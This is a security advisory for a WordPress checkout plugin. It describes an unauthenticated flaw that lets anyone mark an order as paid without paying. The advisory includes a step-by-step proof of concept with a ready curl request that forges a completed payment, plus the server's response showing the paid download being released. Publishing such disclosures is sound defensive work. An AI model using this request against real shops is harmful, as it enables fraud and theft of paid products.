WP Express Checkout < 2.4.9 – Unauthenticated Payment Bypass via wpec_process_payment | CVE 2026-83533

Description

The plugin does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.

Proof of Concept

Prerequisites: wp-express-checkout 2.4.8 active, with a published product buy page (the plugin's core feature). No gateway configuration and no authentication required.

1. As an unauthenticated visitor, load the public buy page and read the nonce, product_id and price from the inline ppecHandler config (window['wp_express_checkout_0'] = new ppecHandler({... "nonce":"<nonce>", "product_id":<id>, "price":"<price>" ...})).

2. Forge a completed payment, submitting the product's real price so the amount check passes:

curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  --data 'action=wpec_process_payment&data[id]=wp_express_checkout_0&data[product_id]=<id>&nonce=<nonce>&wp_ppdg_payment[status]=COMPLETED&wp_ppdg_payment[id]=FAKE_TXN_001&wp_ppdg_payment[payer][email_address]=attacker@example.com&wp_ppdg_payment[purchase_units][0][amount][value]=<price>&wp_ppdg_payment[purchase_units][0][amount][currency_code]=USD'

Response: 200 {"redirect_url":"https://TARGET/?page_id=<thankyou>&order_id=<n>&_wpnonce=..."}, and a ppdgorder post is stored with wpec_order_state=paid and the attacker-supplied transaction id, with no gateway contacted. The signed redirect URL then yields the paid product's download.